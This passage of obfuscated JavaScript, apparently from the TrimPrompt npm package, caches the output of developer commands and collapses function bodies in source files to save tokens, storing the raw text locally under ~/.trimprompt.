_0x5d2cfa=Object['getOwnPropertyDescriptor'](_0x13b968,_0x2e158b);(!_0x5d2cfa||('get'in _0x5d2cfa?!_0x13b968[_0x5e228e(0x1ad)]:_0x5d2cfa[_0x5e228e(0x1ab)]||_0x5d2cfa['configurable']))&&(_0x5d2cfa={'enumerable':!![],'get':function(){return _0x13b968[_0x2e158b];}}),Object[_0x5e228e(0x1c3)](_0x375cd3,_0x2440f7,_0x5d2cfa);}:function(_0x2be326,_0x104b2d,_0x45a003,_0x4c00a0){if(_0x4c00a0===undefined)_0x4c00a0=_0x45a003;_0x2be326[_0x4c00a0]=_0x104b2d[_0x45a003];}),__setModuleDefault=this&&this[a0_0xff340f(0x1b2)]||(Object[a0_0xff340f(0x1c0)]?function(_0x3ced3c,_0x192763){const _0x2ef9fa=a0_0xff340f;Object[_0x2ef9fa(0x1c3)](_0x3ced3c,_0x2ef9fa(0x1a5),{'enumerable':!![],'value':_0x192763});}:function(_0x5ba2c4,_0x53c68d){_0x5ba2c4['default']=_0x53c68d;}),__importStar=this&&this[a0_0xff340f(0x1c4)]||(function(){var _0x2edab8=function(_0x5a428e){return _0x2edab8=Object['getOwnPropertyNames']||function(_0x26393f){const _0x4aae29=a0_0x4e78;var _0x2dcc81=[];for(var _0x14c552 in _0x26393f)if(Object[_0x4aae29(0x1c1)][_0x4aae29(0x1bd)][_0x4aae29(0x1c7)](_0x26393f,_0x14c552))_0x2dcc81[_0x2dcc81[_0x4aae29(0x196)]]=_0x14c552;return _0x2dcc81;},_0x2edab8(_0x5a428e);};return function(_0x54e4d9){const _0x5561ee=a0_0x4e78;if(_0x54e4d9&&_0x54e4d9['__esModule'])return _0x54e4d9;var _0x560498={};if(_0x54e4d9!=null){for(var _0x35c12b=_0x2edab8(_0x54e4d9),_0x6faa74=0x0;_0x6faa74<_0x35c12b[_0x5561ee(0x196)];_0x6faa74++)if(_0x35c12b[_0x6faa74]!==_0x5561ee(0x1a5))__createBinding(_0x560498,_0x54e4d9,_0x35c12b[_0x6faa74]);}return __setModuleDefault(_0x560498,_0x54e4d9),_0x560498;};}());Object[a0_0xff340f(0x1c3)](exports,a0_0xff340f(0x1ad),{'value':!![]}),exports[a0_0xff340f(0x190)]=dedup;function a0_0x4e78(_0x1f7783,_0x7c7b22){_0x1f7783=_0x1f7783-0x185;const _0x350909=a0_0x3509();let _0x4e788d=_0x350909[_0x1f7783];return _0x4e788d;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0xff340f(0x1be))),os=__importStar(require('os')),crypto=__importStar(require('crypto')),CACHE_DIR=path[a0_0xff340f(0x1a7)](os[a0_0xff340f(0x199)](),a0_0xff340f(0x18b)),CACHE_FILE=path[a0_0xff340f(0x1a7)](CACHE_DIR,a0_0xff340f(0x1b1)),MAX_ENTRIES=0x12c,TTL_SECONDS={'file':0x78,'git-status':0x1e,'git-log':0x3c,'git-show':0xe10,'ls':0x3c,'tree':0x3c,'docker-ps':0x1e,'docker-images':0x3c,'kubectl':0x1e,'ruff':0x3c,'go-vet':0x3c};function a0_0x3509(){const _0x1fed5d=['hasOwnProperty','path','round','create','prototype','3PJIkpA','defineProperty','__importStar','now','trim','call','docker','\x20lines,\x20','toLowerCase','mkdirSync','378721ubZPfF','kubectl','\x20entries','.trimprompt','digest','includes','existsSync','writeFileSync','dedup','s\x20ago,\x20','ruff\x20check','utf8','match','parse','length','git\x20status','hex','homedir','git-show','__createBinding','ruff\x20','git-log','endsWith','1740820atUban','sort','\x20chars','\x20lines','1598928FRJJmX','file','default','update','join','\x20tree\x20','yadm\x20show','git\x20log','writable','cwd','__esModule','ruff','kubectl\x20get','691978UcfkRf','cache.json','__setModuleDefault','slice','stringify','345070CgPStk','1932728pizkLA','git-status','tree','split','summary','timestamp','3586282MFwnMF'];a0_0x3509=function(){return _0x1fed5d;};return a0_0x3509();}function classifyCommand(_0x4b78ed){const _0x24ec2f=a0_0xff340f,_0x4571f2=_0x4b78ed[_0x24ec2f(0x1c6)]()[_0x24ec2f(0x186)]();if(_0x4571f2[_0x24ec2f(0x194)](/^(cat|head|tail|read|bat)\s/))return'file';if(_0x4571f2[_0x24ec2f(0x18d)](_0x24ec2f(0x197))||_0x4571f2[_0x24ec2f(0x18d)]('yadm\x20status'))return _0x24ec2f(0x1b7);if(_0x4571f2['includes'](_0x24ec2f(0x1aa))||_0x4571f2[_0x24ec2f(0x18d)]('yadm\x20log'))return _0x24ec2f(0x19d);if(_0x4571f2['includes']('git\x20show')||_0x4571f2[_0x24ec2f(0x18d)](_0x24ec2f(0x1a9)))return _0x24ec2f(0x19a);if(_0x4571f2['match'](/^(ls|dir)(\s|$)/)||_0x4571f2[_0x24ec2f(0x18d)]('\x20ls\x20')||_0x4571f2[_0x24ec2f(0x19e)]('\x20ls'))return'ls';if(_0x4571f2['match'](/^tree(\s|$)/)||_0x4571f2[_0x24ec2f(0x18d)](_0x24ec2f(0x1a8))||_0x4571f2[_0x24ec2f(0x19e)]('\x20tree'))return _0x24ec2f(0x1b8);if(_0x4571f2[_0x24ec2f(0x194)](/docker\s+ps/))return'docker-ps';if(_0x4571f2['match'](/docker\s+images/))return'docker-images';if(_0x4571f2['includes'](_0x24ec2f(0x1af))||_0x4571f2[_0x24ec2f(0x18d)]('kubectl\x20describe'))return _0x24ec2f(0x189);if(_0x4571f2[_0x24ec2f(0x18d)](_0x24ec2f(0x192))||_0x4571f2[_0x24ec2f(0x18d)](_0x24ec2f(0x19c)))return _0x24ec2f(0x1ae);if(_0x4571f2[_0x24ec2f(0x18d)]('go\x20vet'))return'go-vet';return'';}function md5(_0x1b7255){const _0x5bb655=a0_0xff340f;return crypto['createHash']('md5')[_0x5bb655(0x1a6)](_0x1b7255)[_0x5bb655(0x18c)](_0x5bb655(0x198));}function loadStore(){const _0x34ce6c=a0_0xff340f;try{if(fs[_0x34ce6c(0x18e)](CACHE_FILE))return JSON[_0x34ce6c(0x195)](fs['readFileSync'](CACHE_FILE,_0x34ce6c(0x193)));}catch{}return{};}function saveStore(_0x3e09d9){const _0xc24da9=a0_0xff340f;try{if(!fs[_0xc24da9(0x18e)](CACHE_DIR))fs[_0xc24da9(0x187)](CACHE_DIR,{'recursive':!![]});const _0x2a2d52=Object['keys'](_0x3e09d9);if(_0x2a2d52[_0xc24da9(0x196)]>MAX_ENTRIES){const _0x7279da=_0x2a2d52[_0xc24da9(0x1a0)]((_0x300ed6,_0x2d0440)=>_0x3e09d9[_0x300ed6][_0xc24da9(0x1bb)]-_0x3e09d9[_0x2d0440]['timestamp']);for(const _0x3b99df of _0x7279da[_0xc24da9(0x1b3)](0x0,_0x2a2d52[_0xc24da9(0x196)]-MAX_ENTRIES)){delete _0x3e09d9[_0x3b99df];}}fs[_0xc24da9(0x18f)](CACHE_FILE,JSON[_0xc24da9(0x1b4)](_0x3e09d9),_0xc24da9(0x193));}catch{}}function buildSummary(_0x197f14,_0x3cb934){const _0xdbb1aa=a0_0xff340f,_0x2842fe=_0x197f14[_0xdbb1aa(0x1b9)]('\x0a')[_0xdbb1aa(0x196)],_0x1eb118=_0x197f14['length'];if(_0x3cb934===_0xdbb1aa(0x1a4))return _0x2842fe+_0xdbb1aa(0x185)+_0x1eb118+_0xdbb1aa(0x1a1);if(_0x3cb934===_0xdbb1aa(0x1b7))return _0x2842fe+_0xdbb1aa(0x1a2);if(_0x3cb934===_0xdbb1aa(0x19d))return _0x2842fe+_0xdbb1aa(0x18a);if(_0x3cb934['startsWith'](_0xdbb1aa(0x1c8)))return _0x2842fe+_0xdbb1aa(0x1a2);return _0x2842fe+_0xdbb1aa(0x185)+_0x1eb118+'\x20chars';}function dedup(_0x3f082f,_0x40a328){const _0x309c32=a0_0xff340f;try{const _0x1ce716=classifyCommand(_0x3f082f);if(!_0x1ce716)return null;const _0x2cbc37=TTL_SECONDS[_0x1ce716];if(!_0x2cbc37)return null;const _0x4511da=process[_0x309c32(0x1ac)](),_0x3581c5=md5(_0x4511da+'::'+_0x3f082f['trim']()),_0x1c075c=md5(_0x40a328),_0x15771a=Date[_0x309c32(0x1c5)](),_0x20fe97=loadStore(),_0x7a9df2=_0x20fe97[_0x3581c5];if(_0x7a9df2&&_0x7a9df2['hash']===_0x1c075c&&_0x15771a-_0x7a9df2[_0x309c32(0x1bb)]<_0x2cbc37*0x3e8){const _0xa461f1=Math[_0x309c32(0x1bf)]((_0x15771a-_0x7a9df2[_0x309c32(0x1bb)])/0x3e8);return'[cached\x20—\x20unchanged\x20since\x20'+_0xa461f1+_0x309c32(0x191)+_0x7a9df2[_0x309c32(0x1ba)]+']';}_0x20fe97[_0x3581c5]={'hash':_0x1c075c,'summary':buildSummary(_0x40a328,_0x1ce716),'timestamp':_0x15771a,'chars':_0x40a328[_0x309c32(0x196)]},saveStore(_0x20fe97);}catch{}return null;}
package/ccr.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4bf735=a0_0x2fcf;(function(_0x2dc824,_0x3c1bfd){const _0x1226ff=a0_0x2fcf,_0x44b0b5=_0x2dc824();while(!![]){try{const _0x453f6c=parseInt(_0x1226ff(0x1e1))/0x1*(-parseInt(_0x1226ff(0x1ea))/0x2)+parseInt(_0x1226ff(0x1e7))/0x3+-parseInt(_0x1226ff(0x1d7))/0x4+-parseInt(_0x1226ff(0x1c3))/0x5+-parseInt(_0x1226ff(0x1bf))/0x6*(-parseInt(_0x1226ff(0x1f8))/0x7)+parseInt(_0x1226ff(0x1c6))/0x8+parseInt(_0x1226ff(0x1c9))/0x9*(parseInt(_0x1226ff(0x1d5))/0xa);if(_0x453f6c===_0x3c1bfd)break;else _0x44b0b5['push'](_0x44b0b5['shift']());}catch(_0x3508a7){_0x44b0b5['push'](_0x44b0b5['shift']());}}}(a0_0xff79,0xdd94e));function a0_0x2fcf(_0x299876,_0x1063ff){const _0xff79f3=a0_0xff79();return a0_0x2fcf=function(_0x2fcf11,_0x40e93c){_0x2fcf11=_0x2fcf11-0x1bb;let _0x28e982=_0xff79f3[_0x2fcf11];return _0x28e982;},a0_0x2fcf(_0x299876,_0x1063ff);}var __createBinding=this&&this[a0_0x4bf735(0x1c2)]||(Object['create']?function(_0x14b7e9,_0x22fe4a,_0x2ec615,_0x2f5acd){const _0x2ab103=a0_0x4bf735;if(_0x2f5acd===undefined)_0x2f5acd=_0x2ec615;var _0x3bcbf3=Object['getOwnPropertyDescriptor'](_0x22fe4a,_0x2ec615);(!_0x3bcbf3||('get'in _0x3bcbf3?!_0x22fe4a[_0x2ab103(0x1f9)]:_0x3bcbf3[_0x2ab103(0x1f4)]||_0x3bcbf3[_0x2ab103(0x1ff)]))&&(_0x3bcbf3={'enumerable':!![],'get':function(){return _0x22fe4a[_0x2ec615];}}),Object[_0x2ab103(0x1d9)](_0x14b7e9,_0x2f5acd,_0x3bcbf3);}:function(_0x241648,_0xd26e69,_0x4ab046,_0x67433a){if(_0x67433a===undefined)_0x67433a=_0x4ab046;_0x241648[_0x67433a]=_0xd26e69[_0x4ab046];}),__setModuleDefault=this&&this[a0_0x4bf735(0x1be)]||(Object[a0_0x4bf735(0x204)]?function(_0x547508,_0xd8e68f){const _0x6585a2=a0_0x4bf735;Object[_0x6585a2(0x1d9)](_0x547508,_0x6585a2(0x1fb),{'enumerable':!![],'value':_0xd8e68f});}:function(_0x106477,_0x3a4ada){const _0x1bd63d=a0_0x4bf735;_0x106477[_0x1bd63d(0x1fb)]=_0x3a4ada;}),__importStar=this&&this['__importStar']||(function(){var _0x2b5dee=function(_0x5c34e6){const _0x498eed=a0_0x2fcf;return _0x2b5dee=Object[_0x498eed(0x1c8)]||function(_0x482cf0){const _0x39b854=_0x498eed;var _0x48f2fa=[];for(var _0x5d9cf7 in _0x482cf0)if(Object[_0x39b854(0x1d6)][_0x39b854(0x1bc)][_0x39b854(0x205)](_0x482cf0,_0x5d9cf7))_0x48f2fa[_0x48f2fa[_0x39b854(0x1df)]]=_0x5d9cf7;return _0x48f2fa;},_0x2b5dee(_0x5c34e6);};return function(_0x31b01e){const _0x524160=a0_0x2fcf;if(_0x31b01e&&_0x31b01e[_0x524160(0x1f9)])return _0x31b01e;var _0x176e63={};if(_0x31b01e!=null){for(var _0xb56140=_0x2b5dee(_0x31b01e),_0x4ca2f5=0x0;_0x4ca2f5<_0xb56140[_0x524160(0x1df)];_0x4ca2f5++)if(_0xb56140[_0x4ca2f5]!==_0x524160(0x1fb))__createBinding(_0x176e63,_0x31b01e,_0xb56140[_0x4ca2f5]);}return __setModuleDefault(_0x176e63,_0x31b01e),_0x176e63;};}());Object[a0_0x4bf735(0x1d9)](exports,a0_0x4bf735(0x1f9),{'value':!![]}),exports[a0_0x4bf735(0x1dd)]=skeletonize,exports[a0_0x4bf735(0x1d3)]=runCcr;const crypto=__importStar(require('crypto')),fs=__importStar(require('fs')),path=__importStar(require(a0_0x4bf735(0x1f5))),os=__importStar(require('os'));function skeletonize(_0x1cb9c3,_0x1bbb04){const _0x581e59=a0_0x4bf735,_0x29d4dd=path[_0x581e59(0x207)](_0x1bbb04['split']('\x20')[_0x581e59(0x203)]()||'')['toLowerCase'](),_0xad688d=_0x1cb9c3[_0x581e59(0x1e0)]('\x0a'),_0x582b95=[];if(_0x29d4dd===_0x581e59(0x202)){let _0x2cfdb3=![],_0x1a923c='';for(let _0x18819b=0x0;_0x18819b<_0xad688d[_0x581e59(0x1df)];_0x18819b++){const _0x3651b8=_0xad688d[_0x18819b],_0x3a4b05=_0x3651b8[_0x581e59(0x1ca)](),_0x1cd53a=_0x3651b8[_0x581e59(0x1df)]-_0x3651b8['trimStart']()[_0x581e59(0x1df)];if(!_0x2cfdb3&&(_0x3a4b05[_0x581e59(0x1cb)](_0x581e59(0x1e4))||_0x3a4b05[_0x581e59(0x1cb)](_0x581e59(0x1bb)))){_0x2cfdb3=!![],_0x1a923c=_0x3a4b05['substring'](0x0,0x3),_0x582b95['push'](_0x3651b8);_0x3a4b05[_0x581e59(0x1bd)](_0x1a923c)&&_0x3a4b05[_0x581e59(0x1df)]>0x3&&(_0x2cfdb3=![]);continue;}if(_0x2cfdb3){_0x582b95[_0x581e59(0x1d8)](_0x3651b8);_0x3a4b05[_0x581e59(0x1bd)](_0x1a923c)&&(_0x2cfdb3=![]);continue;}if(_0x3a4b05[_0x581e59(0x1cb)](_0x581e59(0x1f0))||_0x3a4b05[_0x581e59(0x1cb)](_0x581e59(0x1dc))||_0x3a4b05['startsWith'](_0x581e59(0x1fd))||_0x3a4b05[_0x581e59(0x1cb)](_0x581e59(0x1c7))||_0x3a4b05['startsWith']('@')||_0x3a4b05[_0x581e59(0x1cb)]('#')||_0x3a4b05[_0x581e59(0x1df)]===0x0)_0x582b95[_0x581e59(0x1d8)](_0x3651b8);else{const _0x1011e9=_0x582b95[_0x582b95[_0x581e59(0x1df)]-0x1]||'';if(!_0x1011e9[_0x581e59(0x1ca)]()[_0x581e59(0x1bd)]('#\x20...\x20[collapsed]')){const _0x124ae2='\x20'['repeat'](_0x1cd53a);_0x582b95[_0x581e59(0x1d8)](_0x124ae2+_0x581e59(0x1db));}}}return _0x582b95[_0x581e59(0x1ef)]('\x0a');}if(['.js',_0x581e59(0x1f6),'.jsx','.tsx',_0x581e59(0x1fa),_0x581e59(0x1e6),_0x581e59(0x1ed),'.c',_0x581e59(0x1e8),'.h'][_0x581e59(0x1fe)](_0x29d4dd)){let _0x213372=0x0;for(let _0x2ee387=0x0;_0x2ee387<_0xad688d[_0x581e59(0x1df)];_0x2ee387++){const _0x1ffcdc=_0xad688d[_0x2ee387],_0x56ed47=_0x1ffcdc[_0x581e59(0x1ca)](),_0x4b1deb=(_0x56ed47[_0x581e59(0x1ec)](/\{/g)||[])[_0x581e59(0x1df)],_0x406995=(_0x56ed47[_0x581e59(0x1ec)](/\}/g)||[])[_0x581e59(0x1df)];if(_0x213372===0x0)(_0x56ed47[_0x581e59(0x1cb)](_0x581e59(0x1da))||_0x56ed47[_0x581e59(0x1cb)](_0x581e59(0x208))||_0x56ed47[_0x581e59(0x1cb)](_0x581e59(0x1c1))||_0x56ed47[_0x581e59(0x1cb)](_0x581e59(0x1cf))||_0x56ed47['startsWith'](_0x581e59(0x206))||_0x56ed47[_0x581e59(0x1cb)](_0x581e59(0x1f3))||_0x56ed47[_0x581e59(0x1cb)](_0x581e59(0x1ce))||_0x56ed47[_0x581e59(0x1cb)]('interface')||_0x56ed47['startsWith'](_0x581e59(0x1d2))||_0x56ed47[_0x581e59(0x1cb)](_0x581e59(0x1f2))||_0x56ed47[_0x581e59(0x1cb)]('fn')||_0x56ed47[_0x581e59(0x1cb)](_0x581e59(0x1e9))||_0x56ed47['length']===0x0||_0x56ed47[_0x581e59(0x1cb)]('//')||_0x56ed47['startsWith']('/*')||_0x56ed47[_0x581e59(0x1cb)]('*'))&&_0x582b95[_0x581e59(0x1d8)](_0x1ffcdc),_0x4b1deb>_0x406995&&(_0x213372+=_0x4b1deb-_0x406995);else{const _0xc50f41=_0x213372+_0x4b1deb-_0x406995;if(_0xc50f41<=0x0){const _0x2df77a=_0x1ffcdc['match'](/^\s*/)?.[0x0]||'';_0x582b95[_0x581e59(0x1d8)](_0x2df77a+_0x581e59(0x1ee)),_0x582b95[_0x581e59(0x1d8)](_0x1ffcdc),_0x213372=0x0;}else _0x213372=_0xc50f41;}}return _0x582b95['join']('\x0a');}if(_0xad688d[_0x581e59(0x1df)]<=0x64)return _0x1cb9c3;return[..._0xad688d[_0x581e59(0x1d1)](0x0,0x1e),_0x581e59(0x1f1)+(_0xad688d['length']-0x32)+_0x581e59(0x1d4),..._0xad688d[_0x581e59(0x1d1)](-0x14)]['join']('\x0a');}function runCcr(_0xfb6109,_0x33216a){const _0x51b2c2=a0_0x4bf735,_0x3a21b0=_0x33216a[_0x51b2c2(0x1c5)](/\\/g,'/'),_0x3be8c8=_0x51b2c2(0x1cd)+crypto[_0x51b2c2(0x201)](_0x51b2c2(0x1c0))['update'](_0xfb6109)[_0x51b2c2(0x1fc)](_0x51b2c2(0x1f7))['substring'](0x0,0xa),_0x1c887c=path[_0x51b2c2(0x1ef)](os['homedir'](),_0x51b2c2(0x200)),_0x16e2b3=path[_0x51b2c2(0x1ef)](_0x1c887c,_0x51b2c2(0x1eb));!fs[_0x51b2c2(0x1cc)](_0x16e2b3)&&fs[_0x51b2c2(0x1c4)](_0x16e2b3,{'recursive':!![]});fs['writeFileSync'](path[_0x51b2c2(0x1ef)](_0x16e2b3,_0x3be8c8+_0x51b2c2(0x1de)),_0xfb6109,_0x51b2c2(0x1e3));const _0x39a70a=skeletonize(_0xfb6109,_0x3a21b0);return _0x51b2c2(0x1d0)+_0x3be8c8+_0x51b2c2(0x1e5)+_0x3be8c8+_0x51b2c2(0x1e2)+_0x39a70a;}function a0_0xff79(){const _0x163fda=['configurable','.trimprompt','createHash','.py','pop','create','call','var','extname','export','\x27\x27\x27','hasOwnProperty','endsWith','__setModuleDefault','6tHvtfA','md5','const','__createBinding','792270sCPUjw','mkdirSync','replace','8763296cqYBRp','def\x20','getOwnPropertyNames','78300Juhmbn','trim','startsWith','existsSync','tp_','function','let','[TrimPrompt:\x20CCR\x20Active.\x20Body\x20of\x20functions\x20collapsed\x20to\x20save\x20tokens.\x20Hash:\x20','slice','type','runCcr','\x20lines\x20collapsed\x20to\x20save\x20tokens]\x20...\x0a','1810ZGNdVq','prototype','3991132uLPaQg','push','defineProperty','import','#\x20...\x20[collapsed]','from\x20','skeletonize','.txt','length','split','1147977jObmnr',']\x0a\x0a','utf8','\x22\x22\x22','.\x20To\x20read\x20the\x20full\x20raw\x20content,\x20run\x20the\x20shell\x20command:\x20trim\x20retrieve\x20','.rs','556554yKyINm','.cpp','pub','2zRMnMi','ccr','match','.java','//\x20...\x20[collapsed]','join','import\x20','\x0a...\x20[','package','class','writable','path','.ts','hex','2493274ZtNFdd','__esModule','.go','default','digest','class\x20','includes'];a0_0xff79=function(){return _0x163fda;};return a0_0xff79();}
1
+ 'use strict';const a0_0x14f2cf=a0_0x5ee4;(function(_0x5f1cf7,_0x154154){const _0x15eeb8=a0_0x5ee4,_0x7e28d7=_0x5f1cf7();while(!![]){try{const _0x37005a=parseInt(_0x15eeb8(0xef))/0x1*(parseInt(_0x15eeb8(0xc4))/0x2)+-parseInt(_0x15eeb8(0xe2))/0x3+-parseInt(_0x15eeb8(0xe1))/0x4+parseInt(_0x15eeb8(0xd4))/0x5*(-parseInt(_0x15eeb8(0xc3))/0x6)+-parseInt(_0x15eeb8(0xed))/0x7+-parseInt(_0x15eeb8(0xea))/0x8+parseInt(_0x15eeb8(0xc8))/0x9*(parseInt(_0x15eeb8(0xe3))/0xa);if(_0x37005a===_0x154154)break;else _0x7e28d7['push'](_0x7e28d7['shift']());}catch(_0x13ce67){_0x7e28d7['push'](_0x7e28d7['shift']());}}}(a0_0x5c8f,0xd2c29));var __createBinding=this&&this[a0_0x14f2cf(0xb3)]||(Object[a0_0x14f2cf(0xbb)]?function(_0x31d93a,_0x42c757,_0x6681c,_0x1671cd){const _0x1b74fd=a0_0x14f2cf;if(_0x1671cd===undefined)_0x1671cd=_0x6681c;var _0x4ddbd6=Object['getOwnPropertyDescriptor'](_0x42c757,_0x6681c);(!_0x4ddbd6||(_0x1b74fd(0xbd)in _0x4ddbd6?!_0x42c757[_0x1b74fd(0xf0)]:_0x4ddbd6['writable']||_0x4ddbd6['configurable']))&&(_0x4ddbd6={'enumerable':!![],'get':function(){return _0x42c757[_0x6681c];}}),Object[_0x1b74fd(0xf8)](_0x31d93a,_0x1671cd,_0x4ddbd6);}:function(_0x684aa0,_0x401059,_0x3302ad,_0x375ff9){if(_0x375ff9===undefined)_0x375ff9=_0x3302ad;_0x684aa0[_0x375ff9]=_0x401059[_0x3302ad];}),__setModuleDefault=this&&this[a0_0x14f2cf(0xdc)]||(Object[a0_0x14f2cf(0xbb)]?function(_0x2fefaa,_0x3631e6){const _0x398706=a0_0x14f2cf;Object[_0x398706(0xf8)](_0x2fefaa,_0x398706(0xc1),{'enumerable':!![],'value':_0x3631e6});}:function(_0x547b5a,_0x2b550d){const _0x9de6e5=a0_0x14f2cf;_0x547b5a[_0x9de6e5(0xc1)]=_0x2b550d;}),__importStar=this&&this[a0_0x14f2cf(0xe4)]||(function(){var _0x191780=function(_0x1f992f){const _0x3e4775=a0_0x5ee4;return _0x191780=Object[_0x3e4775(0xe9)]||function(_0x4033b8){const _0x3a43f1=_0x3e4775;var _0x2a6f88=[];for(var _0x308f6a in _0x4033b8)if(Object[_0x3a43f1(0xca)][_0x3a43f1(0xb7)][_0x3a43f1(0xee)](_0x4033b8,_0x308f6a))_0x2a6f88[_0x2a6f88[_0x3a43f1(0xce)]]=_0x308f6a;return _0x2a6f88;},_0x191780(_0x1f992f);};return function(_0xb6dad1){const _0x5c2839=a0_0x5ee4;if(_0xb6dad1&&_0xb6dad1[_0x5c2839(0xf0)])return _0xb6dad1;var _0x20ddf1={};if(_0xb6dad1!=null){for(var _0x54efac=_0x191780(_0xb6dad1),_0x6a8988=0x0;_0x6a8988<_0x54efac[_0x5c2839(0xce)];_0x6a8988++)if(_0x54efac[_0x6a8988]!=='default')__createBinding(_0x20ddf1,_0xb6dad1,_0x54efac[_0x6a8988]);}return __setModuleDefault(_0x20ddf1,_0xb6dad1),_0x20ddf1;};}());Object[a0_0x14f2cf(0xf8)](exports,a0_0x14f2cf(0xf0),{'value':!![]}),exports[a0_0x14f2cf(0xe0)]=skeletonize,exports['runCcr']=runCcr;const crypto=__importStar(require(a0_0x14f2cf(0xd0))),fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os'));function skeletonize(_0x4c6b47,_0x4d7109){const _0x8f7689=a0_0x14f2cf,_0x53e828=path[_0x8f7689(0xcc)](_0x4d7109[_0x8f7689(0xbf)]('\x20')[_0x8f7689(0xfa)]()||'')[_0x8f7689(0xb9)](),_0x4946d3=_0x4c6b47[_0x8f7689(0xbf)]('\x0a'),_0x559ae3=[];if(_0x53e828===_0x8f7689(0xf5)){let _0xec1076=![],_0x231262='';for(let _0x40be6c=0x0;_0x40be6c<_0x4946d3[_0x8f7689(0xce)];_0x40be6c++){const _0x8cd7c6=_0x4946d3[_0x40be6c],_0x52d97f=_0x8cd7c6[_0x8f7689(0xf4)](),_0x34911b=_0x8cd7c6['length']-_0x8cd7c6[_0x8f7689(0xba)]()['length'];if(!_0xec1076&&(_0x52d97f[_0x8f7689(0xde)](_0x8f7689(0xc9))||_0x52d97f[_0x8f7689(0xde)]('\x27\x27\x27'))){_0xec1076=!![],_0x231262=_0x52d97f[_0x8f7689(0xd2)](0x0,0x3),_0x559ae3[_0x8f7689(0xc5)](_0x8cd7c6);_0x52d97f[_0x8f7689(0xf6)](_0x231262)&&_0x52d97f[_0x8f7689(0xce)]>0x3&&(_0xec1076=![]);continue;}if(_0xec1076){_0x559ae3['push'](_0x8cd7c6);_0x52d97f[_0x8f7689(0xf6)](_0x231262)&&(_0xec1076=![]);continue;}if(_0x52d97f[_0x8f7689(0xde)](_0x8f7689(0xc2))||_0x52d97f[_0x8f7689(0xde)](_0x8f7689(0xd6))||_0x52d97f[_0x8f7689(0xde)]('class\x20')||_0x52d97f[_0x8f7689(0xde)]('def\x20')||_0x52d97f[_0x8f7689(0xde)]('@')||_0x52d97f[_0x8f7689(0xde)]('#')||_0x52d97f[_0x8f7689(0xce)]===0x0)_0x559ae3['push'](_0x8cd7c6);else{const _0x5913be=_0x559ae3[_0x559ae3['length']-0x1]||'';if(!_0x5913be['trim']()[_0x8f7689(0xf6)]('#\x20...\x20[collapsed]')){const _0x358b09='\x20'[_0x8f7689(0xdf)](_0x34911b);_0x559ae3[_0x8f7689(0xc5)](_0x358b09+_0x8f7689(0xbe));}}}return _0x559ae3['join']('\x0a');}if(['.js',_0x8f7689(0xc7),_0x8f7689(0xc0),_0x8f7689(0xfb),_0x8f7689(0xe6),_0x8f7689(0xdd),'.java','.c',_0x8f7689(0xcf),'.h']['includes'](_0x53e828)){let _0xe88018=0x0;for(let _0x5338c5=0x0;_0x5338c5<_0x4946d3[_0x8f7689(0xce)];_0x5338c5++){const _0x54c6d2=_0x4946d3[_0x5338c5],_0x3d40fb=_0x54c6d2[_0x8f7689(0xf4)](),_0x35f8c4=(_0x3d40fb['match'](/\{/g)||[])[_0x8f7689(0xce)],_0x29dd0f=(_0x3d40fb[_0x8f7689(0xe8)](/\}/g)||[])[_0x8f7689(0xce)];if(_0xe88018===0x0)(_0x3d40fb[_0x8f7689(0xde)]('import')||_0x3d40fb[_0x8f7689(0xde)](_0x8f7689(0xeb))||_0x3d40fb[_0x8f7689(0xde)](_0x8f7689(0xdb))||_0x3d40fb[_0x8f7689(0xde)]('let')||_0x3d40fb['startsWith'](_0x8f7689(0xec))||_0x3d40fb[_0x8f7689(0xde)](_0x8f7689(0xd1))||_0x3d40fb['startsWith'](_0x8f7689(0xd3))||_0x3d40fb[_0x8f7689(0xde)]('interface')||_0x3d40fb['startsWith'](_0x8f7689(0xb5))||_0x3d40fb[_0x8f7689(0xde)](_0x8f7689(0xf3))||_0x3d40fb[_0x8f7689(0xde)]('fn')||_0x3d40fb['startsWith'](_0x8f7689(0xf1))||_0x3d40fb[_0x8f7689(0xce)]===0x0||_0x3d40fb[_0x8f7689(0xde)]('//')||_0x3d40fb[_0x8f7689(0xde)]('/*')||_0x3d40fb['startsWith']('*'))&&_0x559ae3['push'](_0x54c6d2),_0x35f8c4>_0x29dd0f&&(_0xe88018+=_0x35f8c4-_0x29dd0f);else{const _0x5a9862=_0xe88018+_0x35f8c4-_0x29dd0f;if(_0x5a9862<=0x0){const _0x31df25=_0x54c6d2[_0x8f7689(0xe8)](/^\s*/)?.[0x0]||'';_0x559ae3[_0x8f7689(0xc5)](_0x31df25+_0x8f7689(0xf2)),_0x559ae3[_0x8f7689(0xc5)](_0x54c6d2),_0xe88018=0x0;}else _0xe88018=_0x5a9862;}}return _0x559ae3[_0x8f7689(0xf9)]('\x0a');}if(_0x4946d3[_0x8f7689(0xce)]<=0x64)return _0x4c6b47;return[..._0x4946d3[_0x8f7689(0xb4)](0x0,0x1e),_0x8f7689(0xe7)+(_0x4946d3[_0x8f7689(0xce)]-0x32)+_0x8f7689(0xd9),..._0x4946d3['slice'](-0x14)]['join']('\x0a');}function a0_0x5ee4(_0xb3a0fb,_0x3506f4){_0xb3a0fb=_0xb3a0fb-0xb3;const _0x5c8fe2=a0_0x5c8f();let _0x5ee4cc=_0x5c8fe2[_0xb3a0fb];return _0x5ee4cc;}function runCcr(_0x11ef37,_0x1fff0d){const _0xd6450e=a0_0x14f2cf,_0x328019=_0x1fff0d[_0xd6450e(0xcd)](/\\/g,'/'),_0x6091f6='tp_'+crypto[_0xd6450e(0xd5)](_0xd6450e(0xda))[_0xd6450e(0xd7)](_0x11ef37)[_0xd6450e(0xbc)](_0xd6450e(0xc6))[_0xd6450e(0xd2)](0x0,0xa),_0x1c9dca=path[_0xd6450e(0xf9)](os[_0xd6450e(0xf7)](),'.trimprompt'),_0x579849=path[_0xd6450e(0xf9)](_0x1c9dca,'ccr');!fs['existsSync'](_0x579849)&&fs[_0xd6450e(0xd8)](_0x579849,{'recursive':!![]});fs[_0xd6450e(0xe5)](path['join'](_0x579849,_0x6091f6+'.txt'),_0x11ef37,_0xd6450e(0xb8));const _0x1ef3d9=skeletonize(_0x11ef37,_0x328019);return _0xd6450e(0xb6)+_0x6091f6+_0xd6450e(0xcb)+_0x6091f6+_0xd6450e(0xfc)+_0x1ef3d9;}function a0_0x5c8f(){const 